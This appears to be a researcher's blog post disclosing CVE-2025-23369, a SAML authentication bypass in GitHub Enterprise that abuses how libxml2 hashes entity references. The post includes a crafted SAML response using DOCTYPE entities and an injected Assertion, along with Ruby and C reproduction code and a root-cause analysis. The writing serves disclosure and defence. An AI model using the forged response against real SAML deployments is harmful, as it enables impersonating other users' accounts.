Thursday, February 6, 2025

Abusing libxml2 quirks to bypass SAML authentication on GitHub Enterprise (CVE-2025-23369)

Last year, GitHub had issued some CVEs for issues that affected their SAML authentication implementation, for example, you can read about CVE-2024-4985/CVE-2024-948 on ProjectDiscovery blogI decided to take a look on it maybe there was still some problems left. this led to the discovery of CVE-2025-23369, a SAML verification bypass issue which allows a SAML authenticated user to bypass authentication for other accounts.

SAML primer

SAML works pretty much like oauth2/OpenID, a user authenticates to an IdP, which returns an access token to the service provider, which is then used to access the user identity via some protect IdP endpoint, SAML on the other hand does not return an access token but rather a Response object with the user attributes (email, name, ..). here is an example SAML response:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="pfx577f9dc6-42bf-b9ba-27d8-a5f9fa8fad9b" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
  <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <ds:Reference URI="#pfx577f9dc6-42bf-b9ba-27d8-a5f9fa8fad9b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>xeANAiB+fMHC0Lgov5lDi4UPDqk=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>ra8t31DARCSl2weKKSqmCXkTxALzPqIU/uivuPWrmZqYgpKAPk48sSObm7VkwCeb63DrvCJnhbEiEU1Ly63dL9Kz3x3iMclUa0S5+CrhcSV94XreEx3KcY6D/sA+nnyVd1ULPCBCShMf64MYwgniezWWsy//iAD1lK3wLKy7uLw=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="pfx0dc1f020-3fa4-fa8c-17c6-b1d9582401d1" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
    <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <ds:Reference URI="#pfx0dc1f020-3fa4-fa8c-17c6-b1d9582401d1"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>/qU1zv7GdHocY1JgnyHyKyQrC4w=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>WuqrYfX9+rKdoLcvPlLPozhc3GQmD/FYjftSdrKyrXBX6AFcTYQnr7u0lqEKt97IFzV0D/BwFDHmgqmHiq0VfAKmeM1ITqb4mSUjLW5+SE7wdp1hsM+W4kqsCAMhZrLIn2noyV/Gy4Ig9miRDFVezHsBVcRDrd8zMmBYUBFCspI=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
    <saml:Subject>
      <saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">test@example.com</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="eduPersonAffiliation" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
        <saml:AttributeValue xsi:type="xs:string">examplerole1</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

the Response contains an Assertion which contains the authenticated user attributes, the NameID element is what is usually used to identify the authenticated user (email, user id, ..). the response is protected against tampering using the Signature element, which contains the hash of the element it refers to (Response/Assertion) in the DigestValue element, the SignedInfo element is then signed by the IdP and the signature is stored in the SignatureValue, so any tampering to the protected element would make DigestValue incorrect, and any tampering to DigestValue would make the SignatureValue incorrect.

GitHub SAML verification

After constructing the SAML Response from the POST request, #validate is called to verify it.

      def validate(options)
        if !SAML.mocked[:skip_validate_signature]
          validate_has_signature
          validate_certificate(options[:idp_certificate]) if certificate_expiration_check_enabled?

          validate_assertion_digest_values

          if GitHub.enterprise? && GitHub.saml_encrypted_assertions?
            validate_signatures_ghes(options[:idp_certificate])
          else
            validate_signatures(options[:idp_certificate])
          end

          # Stop validation early when signature validation fails
          return if self.errors.any?
        end
        validate_has_assertion unless SAML.mocked[:skip_validate_has_assertion]
        validate_issuer(options[:issuer])
        validate_destination(options[:sp_url])
        validate_recipient(options[:sp_url])
        validate_conditions
        validate_audience(audience_url(options[:sp_url]))
        validate_name_id_format(options[:name_id_format])
        validate_administrator(options[:require_admin])

        has_multiple_assertions = document.xpath("//saml2:Assertion", namespaces).count > 1
        has_errors = !self.errors.empty?
        has_root_sig = has_root_sig_and_matching_ref?

        GitHub.dogstats.increment(
          "external_identities.saml.assertions",
          tags: [
            "has_multiple_assertions:#{has_multiple_assertions}",
            "has_errors:#{has_errors}",
            "has_root_sig:#{has_root_sig}"
          ]
        )
      end

the signature checks is done by: #validate_has_signature, #validate_assertion_digest_values, #validate_signatures.

      def has_root_sig_and_matching_ref?
        root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
        return false unless root_ref
        root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
        return false unless root_ref_uri.length > 1
        root_rep = document.at("/saml2p:Response", namespaces)
        root_id = String(root_rep["ID"])

        # and finally does the root ref URI match the root ID?
        root_ref_uri == root_id
      end
      
      def self.signatures(doc)
        signatures = doc.xpath("//ds:Signature", Xmldsig::NAMESPACES)
        signatures.reverse.collect do |node|
          Xmldsig::Signature.new(node)
        end || []
      end    
  
      def all_assertion_digests_valid?
        # if there is a root sig, that will be validated by Xmldsig separately
        return true if has_root_sig_and_matching_ref?

        # note that we need to copy the doc here because we're going to modify it
        assertions = document.dup.xpath("//saml2:Assertion", namespaces)

        assertions.all? do |assertion|
          signature_ref = assertion.at("./ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
          return false unless signature_ref
          assertion_id = String(assertion["ID"])
          ref_uri = String(String(signature_ref["URI"])[1..-1]) # chop off leading #
          return false unless ref_uri.length > 1
          return false unless assertion_id == ref_uri

          xml_signature_ref = Xmldsig::Reference.new(signature_ref)

          actual_digest = xml_signature_ref.digest_value
          calculated_digest = calculate_assertion_digest(assertion, xml_signature_ref)

          digest_valid = calculated_digest == actual_digest

          digest_valid
        end
      end

      def validate_has_signature
        # Return early if entire response is signed. This prevents individual
        # assertions from being tampered because any change in the response
        # would invalidate the entire response.
        return if has_root_sig_and_matching_ref?
        return if all_assertions_signed_with_matching_ref?

        self.errors << "SAML Response is not signed or has been modified."
      end

      def validate_assertion_digest_values
        return if all_assertion_digests_valid?

        self.errors << "SAML Response has been modified."
      end
      
      def validate_signatures(raw_cert)
        unless raw_cert
          self.errors << "No Certificate"
          return
        end
        certificate = OpenSSL::X509::Certificate.new(raw_cert)
        unless signatures.all? { |signature| signature.valid?(certificate) }
          self.errors << "Digest mismatch"
        end
      rescue Xmldsig::SchemaError => e
        self.errors << "Invalid signature"
      rescue OpenSSL::X509::CertificateError => e
        self.errors << "Certificate error: '#{e.message}'"
      end

the code is doing a fast check with #has_root_sig_and_matching_ref? and returns early in both #validate_has_signature and #validate_assertion_digests_values, the fast check itself makes sense since if the root element (Response) has a signature then its wasteful to check for the child elements (Assertion) integrity. #validate_signatures is called afterwards, it uses xmldsig library to verify all the signatures found in the XML document.

      def has_root_sig_and_matching_ref?
        return true if SAML.mocked[:mock_root_sig]
        root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
        return false unless root_ref
        root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
        return false unless root_ref_uri.length > 1
        root_rep = document.at("/saml2p:Response", namespaces)
        root_id = String(root_rep["ID"])

        # and finally does the root ref URI match the root ID?
        root_ref_uri == root_id
      end

#has_root_sig_and_matching_ref? is pretty simple, it selects the Signature element under the Response element, and checks if it actually references the root element by comparing its ID property with the URI of the signature reference.

when signature.valid? is called, #referenced_node is internally invoked to find the element referenced by the signature. it uses an XPath query that compares the ID property of every element on the document with the signature's reference URI.

    def referenced_node
      if reference_uri && reference_uri != ""
        if @id_attr.nil? && reference_uri.start_with?("cid:")
          content_id = reference_uri[4..-1]
          if @referenced_documents.has_key?(content_id)
            @referenced_documents[content_id].dup
          else
            raise(
                ReferencedNodeNotFound,
                "Could not find referenced document with ContentId #{content_id}"
            )
          end
        else
          id = reference_uri[1..-1]
          referenced_node_xpath = @id_attr ? "//*[@#{@id_attr}=$uri]" : "//*[@ID=$uri or @wsu:Id=$uri]"
          variable_bindings = { 'uri' => id }
          if ref = document.dup.at_xpath(referenced_node_xpath, NAMESPACES, variable_bindings)
            ref
          else
            raise(
                ReferencedNodeNotFound,
                "Could not find the referenced node #{id}'"
            )
          end
        end
      else
        document.dup.root
      end
    end 

since this will verify the signature of whatever element the XPath query returns, if there is a case where #has_root_sig_and_matching_ref? succeeds and the XPath query returns some other element that is not the root element, the SAML verification can be bypassed.

the bypass

I started with a minimal test case with the constraints the original code has:

require 'nokogiri'

xml = <<-XML
<?xml version="1.0"?>
<samlp:Response ID="_129">
  <saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
XML

doc = Nokogiri::XML(xml)

abort "root id is not correct" unless doc.root['ID'] == "_129"
book = doc.xpath('//*[@ID=$uri or @wsu:Id=$uri]', {"wsu": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"}, {"uri": "_129"})

puts book[0]

the XPath query in the code above returns the Response element, as expected. After some manual fuzzing, I started testing with the XML entities, this code returned the Assertion element and root ID was correct.

require 'nokogiri'

xml = <<-XML
<?xml version="1.0"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "_129"> ]>
<samlp:Response ID="&idViaEntity;">
  <saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
XML

doc = Nokogiri::XML(xml)

abort "root id is not correct" unless doc.root['ID'] == "_129"
book = doc.xpath('//*[@ID=$uri or @wsu:Id=$uri]', {"wsu": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"}, {"uri": "_129"})

puts book[0]

click to expand

with this inconsistency, we can make #referenced_node mistake our arbitrary element for the root element, I quickly put this into the test, I extracted the SAML library and called it using this code:

require './saml'
require './saml/message'
require 'base64'
require 'time'
require 'cgi'

r = File.read("samlresponse").strip

r = SAML::Message.from_param(Base64.encode64(r))
valid = r.valid?(:idp_certificate =><<END
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----    
END
)
puts "Valid? #{valid}"
puts "Errors: #{r.errors}" unless valid
puts "NameID: #{r.name_id}" if valid

And this simplified SAML response:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [  <!ENTITY idViaEntity "id198723974770096182351422"> ]>
<saml2p:Response
	xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
	xmlns:xs="http://www.w3.org/2001/XMLSchema" Destination="https://github.com/enterprises/abc/saml/consume" ID="&idViaEntity;" InResponseTo="_1024a04a4519b1491552b17bf639ded16fd55f1b16837d99f94046b66e25123b" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
	<saml2:Issuer
		xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkm64rrt7jvmlpcX5d7
	
	</saml2:Issuer>
	<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
		<ds:SignedInfo>
			<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
			<Object
				xmlns="http://www.w3.org/2000/09/xmldsig#">
				<saml2:Assertion
					xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id198723974770096182351422" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
					<!-- Injected Assertion -->
					<ds:Signature>
						<ds:SignedInfo>
							<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
						</ds:SignedInfo>
					</ds:Signature>
				</saml2:Assertion>
			</Object>
		</ds:SignedInfo>
	</ds:Signature>
	<saml2p:Status
		xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
		<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
	</saml2p:Status>
	<saml2:Assertion
		xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
		xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="id198723974770096182351422ffff" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
		<!-- Original Assertion -->
	</saml2:Assertion>
</saml2p:Response>

the script failed because the ID attribute is duplicated, the SAML code actually validates the document schema before preceding to validate the document content.

click to expand
After more manual fuzzing/testing, I ended up with a SAML response which bypassed the ID uniqueness schema validation check while still returning an arbitrary element to the XPath query, notice BypassIDUniqness entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [  <!ENTITY idViaEntity "id198723974770096182351422"> <!ENTITY BypassIDUniqness "&#x41;"> ]>
<saml2p:Response
	xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
	xmlns:xs="http://www.w3.org/2001/XMLSchema" Destination="https://github.com/enterprises/abc/saml/consume" ID="&idViaEntity;" InResponseTo="_1024a04a4519b1491552b17bf639ded16fd55f1b16837d99f94046b66e25123b" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
	<saml2:Issuer
		xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkm64rrt7jvmlpcX5d7
	
	</saml2:Issuer>
	<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
		<ds:SignedInfo>
			<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
			<Object
				xmlns="http://www.w3.org/2000/09/xmldsig#">
				<saml2:Assertion
					xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="&BypassIDUniqness;id198723974770096182351422" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
					<!-- Injected Assertion -->
					<ds:Signature>
						<ds:SignedInfo>
							<ds:Reference URI="#id198723974770096182351422"></ds:Reference>
						</ds:SignedInfo>
					</ds:Signature>
				</saml2:Assertion>
			</Object>
		</ds:SignedInfo>
	</ds:Signature>
	<saml2p:Status
		xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
		<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
	</saml2p:Status>
	<saml2:Assertion
		xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
		xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="id198723974770096182351422ffff" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">
		<!-- Original Assertion -->
	</saml2:Assertion>
</saml2p:Response>

the SAML response now can be verified with a Signature that does not actually point to the root element, but rather to our injected Assertion inside SignedInfo/Object (we inject it here because Object's schema definition allows arbitrary elements inside it), you can find the exploit script here.



Root Cause Analysis

the bypass left me with many puzzling questions, how does the XPath find our injected element ID although it is prepended with an A, and why does it not find the root element in the first place since its the first in the tree?

to answer these questions, I have set out hunt down the root cause. Nokogiri uses internally libxml2 so for the RCA I -with the help of ChatGPT- created a minimal C test case which directly calls libxml2 with the default options Nokogiri uses and mimics the Ruby code, and linked it against a locally built libxml2 for debugging. here is the C code for reference:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libxml/parser.h>
#include <libxml/xpath.h>
#include <libxml/xpathInternals.h>

static const xmlChar *NOKOGIRI_PREFIX = (const xmlChar *)"nokogiri";
static const xmlChar *NOKOGIRI_URI = (const xmlChar *)"http://www.nokogiri.org/default_ns/ruby/extensions_functions";
static const xmlChar *NOKOGIRI_BUILTIN_PREFIX = (const xmlChar *)"nokogiri-builtin";
static const xmlChar *NOKOGIRI_BUILTIN_URI = (const xmlChar *)"https://www.nokogiri.org/default_ns/ruby/builtins";

void print_element_info(xmlNode *node) {
    if (!node) return;

    printf("Element: %s\n", node->name);

    xmlAttr *attr = node->properties;
    while (attr) {
        xmlChar *value = xmlNodeListGetString(node->doc, attr->children, 1);
        printf("  Attribute: %s = %s\n", attr->name, value);
        xmlFree(value);
        attr = attr->next;
    }
    printf("\n");
}

void search_xpath(xmlDoc *doc, const char *uri) {
    xmlXPathContext *xpathCtx = xmlXPathNewContext(doc);
    if (!xpathCtx) {
        fprintf(stderr, "Error: Unable to create new XPath context\n");
        return;
    }
    xmlXPathRegisterNs(xpathCtx, NOKOGIRI_PREFIX, NOKOGIRI_URI);
    xmlXPathRegisterNs(xpathCtx, NOKOGIRI_BUILTIN_PREFIX, NOKOGIRI_BUILTIN_URI);
    if (xmlXPathRegisterNs(xpathCtx, (xmlChar *)"wsu", (xmlChar *)"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd") != 0) {
        fprintf(stderr, "Error: Failed to register namespace 'wsu' -> 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd'\n");
        return;
    }

    xmlXPathObject *uriObj = xmlXPathNewString((xmlChar *)uri);
    if (xmlXPathRegisterVariable(xpathCtx, (xmlChar *)"uri", uriObj) != 0) {
        fprintf(stderr, "Error: Failed to register the variable 'uri'\n");
        return;
    }

    char xpathExpr[512];
    snprintf(xpathExpr, sizeof(xpathExpr), "//*[@ID=$uri or @wsu:Id=$uri]");

    xmlXPathObject *xpathObjResult = xmlXPathEvalExpression((xmlChar *)xpathExpr, xpathCtx);
    if (!xpathObjResult) {
        fprintf(stderr, "Error: Unable to evaluate XPath expression\n");
        return;
    }

    xmlNodeSet *nodes = xpathObjResult->nodesetval;
    if (nodes) {
        for (int i = 0; i < nodes->nodeNr; i++) {
            print_element_info(nodes->nodeTab[i]);
        }
    } else {
        printf("No matching elements found for URI: %s\n", uri);
    }

}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <xml_filename> <uri_to_search>\n", argv[0]);
        return EXIT_FAILURE;
    }

    const char *filename = argv[1];
    const char *uri = argv[2];

    xmlDoc *doc = xmlReadFile(filename, NULL, XML_PARSE_RECOVER|XML_PARSE_NONET|XML_PARSE_BIG_LINES|XML_PARSE_NOERROR);
    if (!doc) {
        fprintf(stderr, "Error: Unable to parse XML file %s\n", filename);
        return EXIT_FAILURE;
    }
        xmlNode *root = xmlDocGetRootElement(doc);
    if (!root) {
        fprintf(stderr, "Error: XML document has no root element\n");
        xmlFreeDoc(doc);
        return EXIT_FAILURE;
    }

    xmlChar *idValue = xmlGetProp(root, (const xmlChar *)"ID");
    if (idValue) {
        printf("Root Element: %s\n", root->name);
        printf("Root ID Attribute: %s\n\n", idValue);
    } else {
        printf("Root Element: %s\n", root->name);
        printf("Root element has no 'ID' attribute.\n\n");
    }

    search_xpath(doc, uri);

    return EXIT_SUCCESS;
}

feeding it this XML document as first argument and _129 as second argument, yields pretty much same result as the Ruby code:

<?xml version="1.0"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "_129"> ]>
<samlp:Response ID="&idViaEntity;">
  <saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>

the root element ID is _129, but the XPath selects Assertion and not Response.

After some debugging, it turns out the reason Response is not found by XPath is how the XPath engine performs the comparison in the query, here is the function responsible for comparing a potential xml node with a string argument from the query (in this case _129).

static int
xmlXPathEqualNodeSetString(xmlXPathParserContextPtr ctxt,
                           xmlXPathObjectPtr arg, const xmlChar * str, int neq)
{
    int i;
    xmlNodeSetPtr ns;
    xmlChar *str2;
    unsigned int hash;

    if ((str == NULL) || (arg == NULL) ||
        ((arg->type != XPATH_NODESET) && (arg->type != XPATH_XSLT_TREE)))
        return (0);
    ns = arg->nodesetval;
    /*
     * A NULL nodeset compared with a string is always false
     * (since there is no node equal, and no node not equal)
     */
    if ((ns == NULL) || (ns->nodeNr <= 0) )
        return (0);
    hash = xmlXPathStringHash(str);
    for (i = 0; i < ns->nodeNr; i++) {
        if (xmlXPathNodeValHash(ns->nodeTab[i]) == hash) {
            str2 = xmlNodeGetContent(ns->nodeTab[i]);
            if (str2 == NULL) {
                xmlXPathPErrMemory(ctxt);
                return(0);
            }
            if (xmlStrEqual(str, str2)) {
                xmlFree(str2);
		if (neq)
		    continue;
                return (1);
            } else if (neq) {
		xmlFree(str2);
		return (1);
	    }
            xmlFree(str2);
        } else if (neq)
	    return (1);
    }
    return (0);
}

this function -as an optimization- checks the hash first, if the hash matches then it compares the string with the node content (ID attribute value in this case). here is the code for xmlXPathNodeValHash:

static unsigned int
xmlXPathNodeValHash(xmlNodePtr node) {
    int len = 2;
    const xmlChar * string = NULL;
    xmlNodePtr tmp = NULL;
    unsigned int ret = 0;

    if (node == NULL)
	return(0);

    if (node->type == XML_DOCUMENT_NODE) {
	tmp = xmlDocGetRootElement((xmlDocPtr) node);
	if (tmp == NULL)
	    node = node->children;
	else
	    node = tmp;

	if (node == NULL)
	    return(0);
    }

    switch (node->type) {
	case XML_COMMENT_NODE:
	case XML_PI_NODE:
	case XML_CDATA_SECTION_NODE:
	case XML_TEXT_NODE:
	    string = node->content;
	    if (string == NULL)
		return(0);
	    if (string[0] == 0)
		return(0);
	    return(string[0] + (string[1] << 8));
	case XML_NAMESPACE_DECL:
	    string = ((xmlNsPtr)node)->href;
	    if (string == NULL)
		return(0);
	    if (string[0] == 0)
		return(0);
	    return(string[0] + (string[1] << 8));
	case XML_ATTRIBUTE_NODE:
	    tmp = ((xmlAttrPtr) node)->children;
	    break;
	case XML_ELEMENT_NODE:
	    tmp = node->children;
	    break;
	default:
	    return(0);
    }
    while (tmp != NULL) {
	switch (tmp->type) {
	    case XML_CDATA_SECTION_NODE:
	    case XML_TEXT_NODE:
		string = tmp->content;
		break;
	    default:
                string = NULL;
		break;
	}
	if ((string != NULL) && (string[0] != 0)) {
	    if (len == 1) {
		return(ret + (string[0] << 8));
	    }
	    if (string[1] == 0) {
		len = 1;
		ret = string[0];
	    } else {
		return(string[0] + (string[1] << 8));
	    }
	}
	/*
	 * Skip to next node
	 */
        if ((tmp->children != NULL) &&
            (tmp->type != XML_DTD_NODE) &&
            (tmp->type != XML_ENTITY_REF_NODE) &&
            (tmp->children->type != XML_ENTITY_DECL)) {
            tmp = tmp->children;
            continue;
	}
	if (tmp == node)
	    break;

	if (tmp->next != NULL) {
	    tmp = tmp->next;
	    continue;
	}

	do {
	    tmp = tmp->parent;
	    if (tmp == NULL)
		break;
	    if (tmp == node) {
		tmp = NULL;
		break;
	    }
	    if (tmp->next != NULL) {
		tmp = tmp->next;
		break;
	    }
	} while (tmp != NULL);
    }
    return(ret);
}

the hashing function skips entity reference nodes (XML_ENTITY_REF_NODE) and returns 0, thus the comparison fails although the content matches (this is does not happen in case XML_PARSE_NOENT is used, because the entity will be substituted on the parsing phase and there will be no references)


ID property of the root element

Moving on to why does it select the second Assertion although its ID is prepended by an A. well actually running the C code with XML document bellow, will not find the Assertion because the C code unlike its Ruby counterpart, does not duplicate the document before running XPath on it (see #referenced_node). it took me sometime to figure it out since I thought the #dup call was a seemingly innocent function call and would not affect the result.
<?xml version="1.0"?>
<!DOCTYPE note [ <!ENTITY idViaEntity "_129"> <!ENTITY BypassIDUniqness "&#x41;"> ]>
<samlp:Response ID="&idViaEntity;">
  <saml:Assertion ID="&BypassIDUniqness;_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>


replacing xmlXPathNewContext(doc) with xmlXPathNewContext(xmlCopyDoc(doc, 1)) to match the Nokogiri #dup call, will make the Assertion pop again in the result.


As the ID attribute value of the injected element has a next and that is the text next to the entity (_129), the hash function skips the entity reference and calculates the hash of the text (_129), so that makes the hashes equal.



